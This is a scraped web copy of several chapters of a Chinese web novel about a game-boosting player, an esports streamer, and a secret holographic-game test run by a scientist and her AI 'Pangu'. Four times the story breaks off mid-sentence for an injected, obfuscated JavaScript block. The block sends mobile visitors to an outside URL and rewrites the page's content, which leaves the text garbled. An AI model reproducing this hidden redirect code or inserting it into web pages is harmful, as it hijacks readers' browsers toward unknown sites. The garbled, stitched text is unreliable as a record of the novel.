虽然还没有明着说出来，但近来，熟悉的人都能看出永曜自己也已经隐隐有了要退出一线队的准备。他本人也许对此感到很无奈，遗憾于还没能拿到那盏心心念念的冠军奖杯。但这情况也是谁也没有什么别的办法的，岁月啊，最是残酷。 永曜那边又哈哈笑了两声，说道：“忙？确实啊，最近是很忙啊，明天一大早还要飞C市提交比赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094582|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材料，不然我真得跟你来上几把！唉，想想哥真是怀念那时候跟你双排啊。” 随后，他在语音里略作沉吟，像是思考了片刻，说战队马上要打比赛了，队里两个新人最近都在找手感，跟杨曦打打也好，问她要哪一个。 “哎呀，”他语气里带着点怀念地说道，“让他们也去体会一下那种饭喂到嘴边的爽感，去找找手感也好！” 太好了！ 杨曦连忙说道：“要小莲！就小莲吧曜哥，我最近想跟法师打了。嘿嘿，谢谢曜哥。” “好说，好说。”永耀答应道，随后提高了声音叫道：“小莲！小莲过来下，给你推个人！你这两天有空就跟她打打排位，正好把排名作业做了。” 俱乐部的电竞选手的“排名作业”，指的是为了维持俱乐部以及选手的个人名气，选手需要保持自己在游戏内的一些排名名次，段位榜、总积分榜也好、英雄榜也好，总之必须保证榜上有名。 目的达成，杨曦捧着手机，这时候脸上才终于露出了第一个真正愉快的笑容。 永曜确实是很忙的，匆匆几句结束就挂断了通讯忙去了。杨曦坐在沙发上等了等，没多久，手机轻轻一震，一条新的好友申请就跳了出来。 “用户[莲]，申请添加您为好友。” OK，搞定了。 杨曦十分愉快地点击通过，然后——“您的好友列表已满，添加失败。” 杨曦：“………” 杨曦现在是真有点忧郁了，上下翻动着自己长长的列表，纠结不已。 唉，好痛苦哦，删掉哪一个好呢。 6. Chapter6 Chapter打工进行时 “啊啊啊终于开播了！小莲我来了！” “今天训练赛打完了吗？” “小莲有没有吃晚饭呀？” “咦今天晚上是玩排位吗？” …… “大家好，我开播了。”调整完摄像头的小莲规规矩矩地朝着屏幕打了个招呼，望着镜头一板一眼地宣布道：“我今天打排位，打到十一点，就下播睡觉。” 他一开口说话，直播间的留言顿时迎来了一波飞快的爆发。 “好好好，排位好！好久没看你打排位了！” “小莲晚上好！” “2333每次看到小莲这么呆呆的说话就觉得像个小宝宝一样，好可爱呀～” “小莲今天做发型啦？” 近来，小莲刚刚以极佳的状态完成了加入北斗星战队以来的赛场首秀，虽然不是今年最重要的赛事，但他场上多次犀利点杀对面双C的操作依旧迎来了一片的夸赞声。比赛结束后，战队老大哥永曜又带着他一起共同直播了好几次，导致小莲的人气再次迎来了一次井喷般的上涨，正是如日中天的时候。 长得确实是挺俊的。 特意点进直播间看了一眼的杨曦注视着屏幕中的人影，客观地点评道。 皮肤挺白的，一头茸茸的茂密小碎发，五官清秀没长痘，脸庞轮廓和下颌线都带着年轻男孩的纤瘦分明。看上去没化妆，直播镜头的打光滤镜效果也开得不高，至少没有什么假人感。穿着身简单利落的黑卫衣，脖颈修长干净，神情三分的腼腆七分的冷淡，眼珠子黑得通透，一看就是很招小女孩儿喜欢的样子。 可能有些姐辈儿的也喜欢，比如下她这单的那位老板姐。 杨曦开着游戏等待着。 大约三分钟后，小莲添加了她给出的游戏账号，然后邀请她排位。 杨曦进队了。 老板姐的号是很大的，满皮肤满特效，闪亮亮华丽丽的出现在直播画面里，炫目的光效唰拉地亮了满屏。 直播间顿时议论纷纷，扣出问号： “哇靠，闪瞎了！这就是金钱的光芒吗？” “这是谁啊？” “今天不和羊哥他们排吗？” “好炫酷的特效，可能谁借的粉丝号吧？” 杨曦进队后就将手机放到了一旁，一边调整游戏设置一边清了清嗓子，一边打开了麦克风：“喂？能听到吗？” 小莲忽然听见说话声，好像愣了愣：“……能。” “好的。”杨曦温和地说道：“那就开始吧。” 从杨曦开口的那一刻起，整个直播间的弹幕就爆炸了。 “我靠！！！陌生的声音！是个小姐姐？？谁啊？？？” “什么意思，带粉吗？？？” “啊？小莲谈恋爱了吗？？不！！妈妈不允许！！！” “这谁啊？来试训的？北斗星不是没女生吗？” “后天就要比赛了！这时候带粉？疯了吧！” “……这是什么情况啊。” 小莲一直是有些沉默寡言的性格，看弹幕也很慢，一直到游戏进入了选角□□面才注意到这些刷得直播间都有些卡顿的一排排留言。 “……不是。”小莲抿了抿嘴，解释道：“这是曜哥的朋友，说让我练练手感。然后我们要一起打排位作业。” 只一句话，原本问号满屏的直播间顿时平静了下来。 “哦哦，是大哥让的啊。” “哦哦，大哥的朋友啊，那小莲加油！” “嫂子吗？早说啊！” “排位作业啊，小莲确实得赶一下作业了，最近忙着比赛，排名都掉好多了。” “啊？大哥的朋友？不是嫂子吧？曜哥哪有女朋友啊！” “大哥交待的任务啊！没谈就好，吓死啦。小莲加油！” 选完角色靠在椅子里等待的杨曦瞥了眼手机，看着这些弹幕挑了挑眉。 小莲玩的是法刺角色，本身又有着年轻俊秀的样貌以及沉默腼腆的性格，这些特点导致了他的粉丝主要以女性为主，且一看就是汇聚了有大量的“妈粉”、“姐粉”、“女友粉”。 这些类的粉丝呢，通常兼具氪金和“温柔体贴”两种属性，相比“主打陪伴”和成绩一有起伏很多翻脸痛骂的“电竞男粉”来说，拥有这样的女粉群体对于大多数游戏主播都算是种可遇不可求的美好模式了。 但另一方面就是，相比起除了竞技成绩之外别的都不怎么关心的“电竞男粉”，这类女粉们在主播“人设”方面又属于高敏感群体，往往较为关注主播的个人生活。如果喜欢的主播出现了情感、品德等方面的问题，那这类粉丝往往会爱有多深恨就有多切，分分钟就会出现大面积的脱粉。 也算是有利有弊吧。 小莲年纪小，又初来乍到北斗星战队，对于身为战队老大哥同时也是竞圈老前辈的永曜，他的粉丝都是很尊重的。尤其永曜还带着小莲直播了几次，给他引了不少流，大多数小莲的粉丝都很感激。 小莲一说双排是大哥的安排，直播间的一众粉丝们便都偃旗息鼓，一个再多问的也没有了。 一局游戏打下来，杨曦差不多已经摸清了小莲的脾性。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094583|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小莲和永曜一样，初中毕业就走上了职业路。没办法，青春饭嘛。 没能在学校里获取足够多的知识和成长，人格也还未发育健全的一个青少年，性格介于在现实世界中的拘谨和游戏世界里因天赋而带来的傲气之间。 看得出，他不太擅长和人相处，尤其是和女性。 小宅男、青少年，这样式的人，杨曦打游戏以来一路见得太多了。和他们相处就是最平常的状态就行了，全程保持情绪平稳、语气平淡的沟通就能够减少对方的不适应感。辅助和输出本来就是游戏中互相联动最多，也最需要互相配合的两种职业。 杨曦看过小莲的操作剪辑视频，知道这是个打法非常激进的法刺玩家，和他看上去秀气又有点呆的外表不同，小莲的打法向来是瞬发瞬爆瞬灌满，主打不留余地，甚至同归于尽型的。 机会转瞬即逝，狭路相逢勇者胜，都是手速操作和胆量的较量。一挑二、一开多是家常便饭，开弓没有回头箭，运气好能回来，运气不好就换了。 老板点名要打榜的新英雄是个灵活度非常高的辅助角色，操作玩法都相当复杂，一度被嘲为最花里胡哨的游戏角色。不仅兼具分身、换位以及多段位移技能，身板还比一般的辅助要更脆。 角色是新出的，杨曦在这之前也没玩过几次。 但她一上手就打得非常的顺。一心多用向来是杨曦擅长的事，而她的手速和脑速都是出了名的快，天赋使然，熟练度没两下就拉满了。 杨曦全程游刃有余地游走在法射两路之间，无论是分身扛伤探草，还是连续位移给控，都有着刻度般的精准与流畅。一局刚过半的时候，小莲已经有三次在几乎必死的突袭中被她给稳稳接了回来。 腼腆话少如他，也忍不住开口夸了一句：“……你好厉害。你怎么知道我要上的？” 他打游戏喜欢自己思考和判断，这也是大多数刺客玩家的通病，觉得有机会直接就是上了，没有什么报点的习惯。这个不开口的毛病在他进队后已经被教练说过好几次，说他打得太独了。 终于愿意沟通了吗？ 杨曦微微一笑，说道：“我能看见你的技能cd，再看距离和对面的状态，他半分钟前支援的时候交过解（控）了，你这波肯定要上的。” 顿了顿，她语气很温柔地补了一句：“你打得很厉害啊，时机掌握得特别好，手速也很快的。” 小莲：“……” 弹幕： “靠！主播是不是脸红了？？” “妈呀这辅助姐姐太会了，说话这么温柔，啧啧，我们莲的嘴角比AK都难压…” 7. Chapter7 Chapter7过往 杨曦花了四天时间完成了这单。对她来说已经算很慢的，主要老板想要账号和小莲一起打，而小莲的时间排得很紧，只有在每天训练赛结束后才会来找她玩。 四天的排位下来，杨曦和小莲两人已经算是很熟了。 小莲也从一开始的不怎么说话，到有时候甚至会用自己的方式和杨曦开个小小的玩笑——比如在两人配合完成了一波绝妙的团战，但杨曦没能存活下来的时候，他有一次故意地在她的“尸体”上方点了一下游戏角色的默哀动作，然后自己偷偷地抿起嘴角笑了一下。 这对于像他这样一个向来整天拘谨面瘫的自闭型主播来说，已经算是非常活泼的表现了。 当时看得直播间的粉丝们简直问号满屏，呼天抢地什么孩子大了会开玩笑了这对劲吗，扣啥字的都有。 没办法，在杨曦想的时候，她真的很擅长交朋友。 摸清对方的脾性，顺着对方喜欢的模式去相处，对她来说就像是呼吸一样简单。只是看她乐不乐意去做。 这游戏的积分榜单结算时间是在每周六晚上八点。杨曦周中接单，半路开打，完成的当天刚好赶上。 也是辛苦了一场，合该奖励自己吃顿大餐。 等杨曦出去吃完饭回来，时间也刚好差不多了。她上号检查了一下，确认闪亮亮的国榜第一标志如约亮起，没有任何问题，便向雪兔发了结单通知。 “真效率啊我的姐！”雪兔兴高采烈地秒回，“不愧是你！[大拇指][大拇指][爱心]” 杨曦言简意赅地回了两个字：“钱，速。” 今天是游戏榜单结算日，也就是代打们的结单日。雪兔作为两边的联络人，每周六晚都是他最忙的时候。 这回过了五分钟，他才回复，也没有打字，直接打的钱。 啊，爽。 杨曦马上收了钱，才不管他回不回消息，切到余额看了看，心满意足地叹了口气。 太好了，兜里又有六位数了！ 对于她这样一个平时花钱大手大脚的月光族来说，这余额那真是很充裕的时候了。 拿到了结款，杨曦飞快地退出了游戏。 原始游戏，狗都不玩。我要玩羲和！ 可以说很用完就丢了。 对于全息游戏这个概念，杨曦本人是很了解的。不仅因为她本身就是一名资深老游戏玩家，更因为——杨曦参与了羲和的内测。 而且她认为，她自己是所有有幸参与那场内测的玩家里，最为了解这款游戏的那个。 是的，和所有的网游一样，羲和是有内测的，而且从测试到整个游戏完成面世的周期非常长，整整七年。 七年啊！杨曦等得一度都觉得希望渺茫了。 欣赏完自己美妙的账户余额，过了最初的高兴劲儿，杨曦仰面坐在沙发里，歪了歪头，靠在抱枕上，目光慢慢有些放空。 杨曦陷入了回忆，那些过往的已经变得有些模糊的人和事像一阵无形的风从尘封的岁月里轻轻地吹来，笼罩了她，让她的神情变得有一瞬间的怔忡。 七年前，杨曦十五岁，刚刚初中毕业。 那时候的她，正面临着一个少年时人生最大的选择——她想去打职业。 电子竞技和体育竞技一样，都是一场天赋决定了百分之九十九点九的游戏。 反应力、手速、游戏理解……在这种赛场上，一名天才的光辉，普通人哪怕无能狂怒发愤图强把自己十根手指搓成虎皮鸡爪，也是望尘莫及的。 杨曦无疑就是有这份天赋的。 从她接触游戏的第一天起，她在游戏里就是如鱼得水，难逢对手。她也很清楚自己的这份天赋与能力。 杨曦出生在一个离异家庭里，自有记忆起，父亲就很少出现。母亲忙于工作，也在杨曦成长的过程里从只有周末出现渐渐到一个月左右才会回来一次。 杨曦跟着年迈的外婆生活。老人家精力有限，很多时候都难以管束她。而杨曦打小就是个很会做表面功夫的孩子，敷衍能力一流。 这也许就像她的游戏天赋一样，是种与生俱来的东西。表面的乖巧听话像一张支起来虎皮，使童年的杨曦躲在下面获得了更多的自由与空间。 野蛮生长，肆意妄为。 长大后回看过往，杨曦自己也不知道这究竟是好事，还是件坏事。 总之，她已经就这么长大了，成了今天的她自己。 而七年前的那一个夏天，十五岁的杨曦想要迈入电子竞技的赛场。 她上网去查过，国内电竞业选手十七岁就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094584|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能上赛场，她自己现在正是最好的年纪，只要展现出过人的天赋，会有大把的电竞战队愿意收她这样的未成年“青苗”。收了放在基地里好好培养两年，等着十七岁解了“宝宝锁”就能真正迈入职业赛场。 杨曦从小就是个很有主意和行动力的人，她那时候一个人琢磨，连目标战队都已经选好了，揣着身份证，拿着自己打了半个暑假的华丽战绩做为“简历”，只差临门一脚就要离家而去了。 杨曦不太喜欢她不出现的爸，但是对于供养自己生活，回家时会带自己吃喝玩乐的妈妈，她还是很喜欢的。 那年她临出门前，琢磨犹豫了很久，还是给她妈打了个电话，说了自己的打算。 “妈，我想去打职业。” “什么职业？电子竞技，就是游戏。” “读书？不读了。有什么好读的？现在我这个年纪不打职业浪费了。” 这通电话让她妈当场找公司请了年假，连夜乘晚班机飞回了家。 然后杨曦挨了人生的第一顿打。 打得倒是不重，她妈是一边哭一边打的，但那副好像天塌了般的歇斯底里的模样，让杨曦至今想起来都会觉得有点心有余悸。 当年的杨曦是完全不能理解她妈的，她觉得她的安排是最合适她自己的人生。我在电竞上有天赋，而读书的能力普普通通就那样，为什么不做自己擅长的事，而非要循规蹈矩过庸庸碌碌一生呢？你甚至都不了解我，更不了解电竞这一行业，为什么就要这么坚决的反对呢？ 但母亲的激烈反应和眼泪到底还是让她犹豫了。 为了阻止杨曦，杨母甚至放话说自己这份工作不要了也行，就要在家守着她。 当年的杨曦沉默着。 工作是她妈妈的生计，也是这么多年来杨曦得以健康长大的衣食来源。她妈以此来威胁她，这是杨曦十五年的人生里遇到的最大的一个难题。 就是在这个时候，“羲和”找上的她。 那时候，它还并不叫这个名字。 在最初被“羲和”找上的时候，很多人都并不清楚它到底是什么。 有人同意参与，也有人拒绝了。但哪怕在测试完成后，绝大多数人即使参与了，依旧不知道自己测试的到底是个什么玩意儿。 除了杨曦。 8. Chapter8 Chapter0所谓全息 那是杨曦十五岁那年夏天里很寻常的一天。 刚和妈妈吵完一架的杨曦没精打采地躺在自己房间的小床上，打开电脑，照常登录了自己的个人社交平台。 然后她在她的邮箱里发现了一封信邮件。 这封邮件能够在一瞬间就吸引她注意的原因是，它的邮件抬头称呼使用的是她的本名，也就是“杨曦”。 那封邮件里写道：“杨曦小姐，我们注意到，你是一名未成年游戏玩家，且在多款网络游戏之中，你展现出了十分高超的竞技水平。我们认为你在游戏玩家之中具有特殊性，故而我司想要邀请你参与一项最新的电子全息技术成果的功能试用测验，请问你对此是否感兴趣？如愿参与，请联系我们。” 末尾附上了联系方式及地址，并且表示如产生了车旅费，可以向他们申请全额报销。 落款是一行金色的logo：方舟创造工作室。 十五岁的杨曦看完邮件感到疑惑。这是什么意思？测验？还有这个什么方舟工作室，竟然能够提取我的用户信息和既往游戏记录数据？ 还有这种操作？这是合法的吗？ 杨曦当时心情正郁闷，又闲来无事，于是怀着点疑惑，她搜索了这家“方舟工作室”。 这一搜，杨曦的眼睛都睁大了。 在一连串光辉夺目的成就履历之后，“雍秋文”这个名字第一次进入了杨曦的视野。 雍秋文，年四十一岁，作为方舟工作室的成立者和经营者，曾被誉为华夏新生代科学家中的“启明星”、“超脑之母”，在成立个人工作室“方舟”之时，许多媒体一度大肆吹捧宣称人类信息技术将迎来跨时代变革。 只不过在方舟工作室成立距今两年以来，没有公布任何公开的技术产出后，网络上有的人现在又发出了一些质疑和唱衰的声音。 杨曦在看完一堆词条后，脑子里的印象已经从带着点反感的疑惑转变为了一种发自本能的敬畏。 所以这是一个牛逼的科学家，和她成立的一个牛逼的工作室——只要不是骗子假借名号，那就应该可能真是场正经的技术测试。 互联网词条上显示出的名人照片选用的是雍秋文去年在某场会议出席时的影像。灰色西装，短的近乎寸头的黑发，锐利有神的棕色眼睛，没有化妆，嘴唇的颜色干燥偏暗。 杨曦盯着图片看了半天，无意识地牢牢记下了这个人的脸。 随后，杨曦开始认真审视起了这封莫民奇妙发到自己邮箱里的邮件。什么是“全息技术”？ 作为一名游戏爱好者，杨曦当然体验过市面上的各种虚拟现实技术产品，也就是所谓的“VR”。 她对此的兴趣并不大。感觉没什么意思，戴个耳机，看一些骗不过脑子的虚拟画面，有什么意思？ 那这封邮件中所说的“全息”又是什么呢？一种更高级的VR技术吗？ 反正闲着也是闲着，杨曦在短暂的考虑后拨通了邮件后附带的联系号码。 “您好，我是方舟工作室智能客服盘古，请问有什么可以帮助您？” 电话被秒接通了。 听筒传来的是一道温和有礼的话音，音色是中性的，很明显的电子合成音，但却不像杨曦所听过的其他人工智能发出的模拟人声那样带有电流感与僵硬感。 除了音色本身之外，它的吐字、语气都是如此的自然，几乎就像一名真正的人类在说话那样。 那是杨曦第一次听到“盘古”的声音。 “……你好。”十五岁的杨曦斟酌着语言，“有没有人工客服？我要转人工。” “方舟工作室没有人工客服，只有我。”通讯里的“盘古”说道，“您有什么诉求，请告知我即可，我会尽快帮您处理。” 杨曦觉得这个人工智能不仅语气像人，而且说话也好像比普通人工智能更有气势。那平淡的语气询问她的诉求，竟莫名给人一种“自信”与笃定感，让她在片刻迟疑后真的开始说起了来意。 “我……我收到了一封邮件，来自你们工作室的。”杨曦说道，“让我……做什么测试，全息测试。” 和一个人工智能说“诉求”？杨曦一边说话，一边自己都觉得有点荒谬。 但盘古回复得非常快，几乎是杨曦话音一停，它就说话了。 “请问您的姓名是？”它问。 “……杨曦。”杨曦说。 “查询中。”盘古说，“请问您来电，是否表示您有意向参与本次全息游戏技术内部测试呢？” 杨曦忍不住问：“你们这个什么测试，是真实的吗？是由那个方舟工作室发起的吗？就是……雍秋文建立的那个？” “是的，杨曦小姐。”盘古温和地说道，“雍女士是我的创造者，我是她所研发的第二台超脑，我的名字是盘古。” 超脑——杨曦一下想起来了自己刚刚看过的关于雍秋文的词条，“超脑之母”。 介绍中写道，“超脑”是“超级计算机”技术的一种重大突破产物，许多专业术语杨曦也没看懂，一略而过地大致浏览了一遍，大概地搞明白了就是一种功能比既往所有超级计算机更强大的“超级系统”。 她记得雍秋文就是凭借她二十一岁那年创造出的第一台被她称之为“超脑”的机器，而斩获了当年度的全球最高科研奖项。 杨曦在页面上看到过图片，那台复杂的设备几乎有半个房间那么大。年轻的雍秋文笑着称呼它为“小黑”。 从“小黑”到“盘古”，她忍不住在心里想道，这跨度可真够大的。 “咳，如果这是个真实活动的话……我大概有空参加吧。”杨曦说，“我要在哪里参加啊？” 盘古：“已查询到您IP所在地C市属于9号园区管理范畴。9号园区的位置是C市城区香樟大道27号，距离您登记住址共计31.7公里。综合您的年龄及时间考虑，我建议您打车前往目的地，我们将会全额报销您的往返车费。” 杨曦：“……” 杨曦张了张嘴：“你还挺智能的……可是你为什么会知道我的住址？你还查我IP。” “这是为了本次测试需要，我们已经过有关部门同意，合法合规，手续齐全。”盘古顿了顿，“如果此举伤害到您的私人感情，我向您表示抱歉。” 杨曦：“……”这人工智能真的是好智能。 总之，既然说会报销车费，她又实在好奇，杨曦当天就直接出门按着地址去了。 邮件里只是囊括性地说了个“全息技术”，盘古的言谈里却是直接提到了“全息游戏”一词。 加了个游戏，全息游戏，当年的杨曦可就太感兴趣了。 她打了一个多小时的车抵达地址一看，就见面前是个看上去十分高档正规的科技园区，白蓝金属墙，占地面积大得像公园。她心里的另一半的顾虑就也放下了，直接朝着大门方向走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094585|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过去。 门口无人值守，但当杨曦迟疑着凑近金属大门的门扇附近时，她竟然听到了刚刚通话中的“盘古”的声音从头顶传来。 “欢迎您，杨曦小姐。” 杨曦吓了一大跳，猛地抬起头，就见那大门上亮起了一张淡蓝色光屏。声音就是从其中传来的。 杨曦惊讶道：“你……盘古？” “作为方舟工作室的主管超脑，我总管工作室所有的一切智能系统，当然也包括所有分园区的门禁系统。” “盘古”的形象呈现在光屏上，是一个深蓝色的小方块形状。 它在方块的正面用白色线条勾画出了一个微笑的表情：“欢迎来到方舟工作室9号园区，杨曦小姐。请在门把手右侧领取您的临时通行证，如有任何需要，点击证件右上角的蓝色按钮即可随时与我对话。” “………” 土包子杨曦在这座所谓的9号园区里长足了见识，那些充满了科技美感的建筑与室内设计让她目眩神迷。 而之后正式参与测试，内容也并不复杂。 首先，大厅里出现了一个戴着白色面罩的工作人员，领着她进了一处布满光纤与电路的房间。 然后杨曦先是被强调并签订了一系列保密协议、知情协议等，杨曦当年什么都不太懂，来都已经来了，她反正也没多考虑，都给签了。 然后工作人员给她配戴了一副耳机和一些他称之为“传感器”的东西，还给她头上戴上了一顶半像眼镜半像头盔的半包头金属设备。 “可能会有轻微的眩晕感，”那名工作人员说道，“但请放心，这是完全安全的。” 十五岁的杨曦静静地坐在椅子里没动，片刻后，她在工作人员轻声的倒数里，进入了另一个世界。 ——那是真正意义上的另一个世界。 和杨曦曾经体验过的VR完全不是一个概念。 最初时视野里还有些朦胧的噪点，在一段时间的调试后，杨曦就再也察觉不出任何区别了。 声、光、色，甚至脚下的触感，和置身真正的“异世界”毫无区别。 杨曦目瞪口呆，那一瞬间，她真的完全惊呆了。 她发觉自己置身于一片森林里，鸟鸣虫鸣，树的清香味儿，头顶的阳光和树叶，一切都真实的好像她真的在忽然之间移形换位、“穿越”了一样。 杨曦呆愣了两秒后，发现自己居然能动。她试探着迈动脚步，在这片森林里慢慢地往前走。 连脚下青苔和草丛的触感都非常的逼真。 杨曦没记不太清自己到底在那片森林里走了多久，可能有十来分钟，她遇到了几只鸟，远远看到了一头鹿，它们看起来都和真正的活物无异。 又过了好一会儿，她才慢慢地感觉有点眩晕感，于是扶住了旁边一棵树，想要休息一会儿。 然后周围就倏地暗了下来，“世界”关闭了。 眼睛上的遮挡被拿开，耳机和传感器被摘下，面前是工作人员眼镜后专注的眼神。 “你有感到不适吗？”那工作人员问道。 杨曦又愣了一会儿，缓缓地摇了摇头。 “测试结束了。”工作人员说，“感谢您的参与。” 一直到填完了那份堪称冗长的试用体验报告，杨曦都还没能从那种堪称震撼的感受里醒过神来。 在那一天，她真正对方舟工作室，以及“全息技术”这个名词有了确切的概念。 9. Chapter9 Chapter9王金牛 “嘀嘀。” 杨曦撩了撩眼皮，从回忆中醒过神来，摸过手机摁亮看去。 有人给她打来了个通讯。 杨曦列表虽然长度是人山人海，但绝大多数都被她设置了屏蔽语音通讯。能打通她语音的只有其中几十个人——这对她来说已经是一个很少的数字了。 这时屏幕中间亮起的来电名字是“王金牛”。 一看见这三个字，杨曦嘴角就抽了抽，她摁下了接通。 “喂。”对面语气沉稳地开口，“在忙吗？” 杨曦：“有屁就放。” “给我买个头盔。”对面一点儿也不介意她的态度，语气依然很沉稳，说道：“就那个玩全息要用的那种，地址填老地方。抓紧点，我很急。这玩意俺们这旮旯连县城居然都买不到，白瞎我跑一趟。” “……”杨曦无语了两秒：“你就不能自己网购吗？” “我号被封了。”对面说道。 “又被封了？”杨曦问，“你又得罪谁了？” “不知道，太多了。”王金牛语气很平静，“我的卡也被弄限额了，电话也打不出去。明天我再跑县城去银行解开，你先给我垫付一下，我怕再等东西寄过来赶不上开服。头盔就买到我那出租屋地址，我明天正好去拿。” 真有够理直气壮的。杨曦翻了个白眼，说道：“行吧，我随便给你选个型号买过去，挂了啊。” “不能随便选，”对面认真地说，“要最新款的。” “……行行行。”杨曦撇了撇嘴，顿了顿，想起来问：“你也要玩羲和？” “我玩。”王金牛说，“你也玩？那咱俩一起吧。” “可别，”杨曦毫不留情地拒绝，“跟你一起？我可不想一觉睡醒看见自己大头照挂在游戏论坛上。” “哦。”王金牛说，“那还是私下联系吧。地下关系，我懂。你尽快去给我买头盔，我解了卡就转给你。” “行。”杨曦说，“你进游戏之后密聊我。” “嘿嘿。”王金牛说，“我懂。” 杨曦没忍住又翻了个白眼，把通讯挂了。 挂完语音，杨曦就开始打开购物软件给她选头盔了。 说是“头盔”，实际上就是杨曦七年前在方舟工作室园区试用过的那款装满了连接器的设备。近两年大概终于测试完善了，加装了一个外壳就在方舟工作室自己的品牌店里正式上市了。 因为加了外面那层半包式外壳后，整个设备的造型和车用头盔很像，渐渐就被大家直接称作“头盔”了。 这玩意儿可不便宜，价格最低的一款也是市面上顶尖配置的电脑的两倍以上，还需要配备一种方舟工作室自产的联网装置，他们称之为“星网通”的。 杨曦刚刚才看了羲和最新发布会的视频，负责人雍秋文在里面表示过这是因为全息网游羲和的数据运行量极大，现存的民用网络无法支撑，只能通过她的工作室搭建的专用频道“星网”进行运转。 杨曦打开购物软件，看了眼最新款头盔的价格，好家伙，一套设备选购下来她这一单赚来的钱花光了都还差点。 她拧了拧眉头，还是提交了订单。幸好她自己的设备是早就买好了，否则一下子买两套的话，今天她还真拿不出这钱。 杨曦肉痛地看着扣款短信，反手把订单给王金牛转发过去，说道：“明天准时把钱给我打过来！” 王金牛秒回：“知道。” 过了会儿又回了句：“真贵。顶我一个月的单钱。” “我得再接两单。” 杨曦摇摇头，回道：“还接，你上县城走路可小心点，别被人打了单钱不够医药费的。” 王金牛：“不会。嘿嘿。” 杨曦牵了牵嘴角。 这个王金牛吧，和她一样也是靠游戏里接单吃饭的一个人。不过呢，王金牛接的，是另一种截然不同类型的单子。 杨曦认识王金牛，也是在她差不多十五六岁的时候。那时候她时间很多，玩了一堆游戏，其中有一款当年十分热门的MMORPG游戏。 MMORPG类游戏比起MOBA或者射击游戏之类上号就能开一把的游戏而言，通常要耗费数倍以上的时间。 因为这类游戏往往有着固定的“活动”时间，周一周二周六周日每晚几点分别什么活动都有安排，一个活动有时能够持续几个小时。玩这种游戏不仅有每天登录的“日课”，还有每周固定刷新次数的副本之类的“周课”，再加各种诸如剧情任务、好感系统、帮战、阵营战、宠物、社交系统、换装、摸地图等等的汇合了PVE、PVP、PVX繁多玩法的大杂烩内容……要认真玩下来，那简直就是一个可怕的时间吞噬机器。 而你要是不去玩它的这些玩法呢，你又会缺失游戏里的各种重要资源，导致“战力”落后，属性比不上其他玩家。这谁能忍？ 于是许多MMORPG玩家们都戏称自己玩着游戏仿佛天天都在“上班”。 但同样的，这类游戏所具有的仿佛进入了一个虚拟异世界般的高社交属性、高情绪价值，也往往让人欲罢不能。一不小心沉浸进去啊，钱和时间就都没了。 杨曦当年正值初升高大假期，时间多精力旺，就去玩了这么一款MMORPG游戏，武侠风的，在当年火得不行。 这类游戏还有另一个显著的特点，就是在游戏世界里，“阶级”是要比现实社会来得更森严的。 金钱、技术、社交能力，一环环的将玩家区分出了严格的等级。 “高层玩家”们有时装、有属性，有大帮会有亲友团，呼朋唤友拉帮结派，整天一身华丽特效威风凛凛称霸服务器，引人艳羡地畅玩着“真江湖”；“低层玩家”们从头到脚灰扑扑，数值可怜得好像大头兵，一到各类活动就只能抠抠捡捡着大佬们剩下的资源，同样体验着游戏玩法的同时，还能额外感受到“穷游”般的落差。 在游戏世界里，高层与低层玩家们之间往往壁垒分明，没装备没时装的底层玩家基本没人理会。 情况如此现实，那谁又不想当个“高玩”呢？ 可惜啊，在这类游戏里想要“威风”起来，需要付出的金钱和时间往往都是相当可观的。所谓“又氪又肝”是常态，游戏开服年载以上后，但凡看着像“高玩”的账号，氪金少说都有万中到十万——对大多数普通人来说都算是十分昂贵了。 杨曦当年可没这么多钱。刚十五岁的穷学生，穷得叮当响。 ——但她有技术。 而且她本人是个很擅长找人一起玩的“超级社牛”。 当年一进游戏，杨曦先花了几百块给自己弄了一些乱七八糟的首充月卡之类的东西，把账号基础属性弄到跟上平均水平，她就开始打公平竞技场了。 十五岁的天才少女，在最骄傲也最有手法的年纪，操作技术上，她傲视全区无敌手。 上分如喝水，很快，金灿灿的竞技国榜就到手了。游戏七个职业，奶妈职业榜，杨曦上了第一后再也没被撼动过。 